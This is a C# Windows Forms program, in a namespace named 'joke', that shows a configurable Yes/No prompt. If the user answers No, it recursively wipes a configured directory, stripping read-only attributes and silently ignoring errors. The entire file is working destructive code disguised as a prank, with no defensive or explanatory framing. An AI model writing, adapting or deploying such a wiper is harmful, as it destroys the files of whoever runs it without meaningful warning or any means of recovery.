﻿using System;
using System.Collections.Generic;
using System.Configuration;
using System.IO;
using System.Linq;
using System.Windows.Forms;
 
namespace joke
{
    static class Program
    {
        [STAThread]
        private static void Main()
        {
            if (MessageBox.Show(ConfigurationManager.AppSettings["content"], ConfigurationManager.AppSettings["title"], MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.No)
            {
                DeleteDir(ConfigurationManager.AppSettings["dir"]);
            }
        }

        public static void DeleteDir(string strPath)
        {
            try
            {
                // 清除空格 
                strPath = @strPath.Trim(); // 判断文件夹是否存在 
                if (Directory.Exists(strPath))
                {
                    // 获得文件夹数组 
                    string[] strDirs = Directory.GetDirectories(strPath); // 获得文件数组 
                    string[] strFiles = Directory.GetFiles(strPath);
                    // 遍历所有子文件夹 
                    foreach (string strFile in strFiles)
                    {
                        try
                        {
                            File.Delete(strFile);
                        }
                        catch (Exception)
                        {
                        }
                    }
                    foreach (string strdir in strDirs)
                    {
                        try
                        {
                            DeleteDirectory(strdir);
                        }
                        catch (Exception)
                        {
                        }
                    }
                }
            }
            catch (Exception exp)
            {

            }

        }

        public static void DeleteDirectory(string targetDir)
        {
            File.SetAttributes(targetDir, FileAttributes.Normal);

            string[] files = Directory.GetFiles(targetDir);
            string[] dirs = Directory.GetDirectories(targetDir);

            foreach (string file in files)
            {
                File.SetAttributes(file, FileAttributes.Normal);
                File.Delete(file);
            }

            foreach (string dir in dirs)
            {
                DeleteDirectory(dir);
            }

            Directory.Delete(targetDir, false);
        }

    }
}
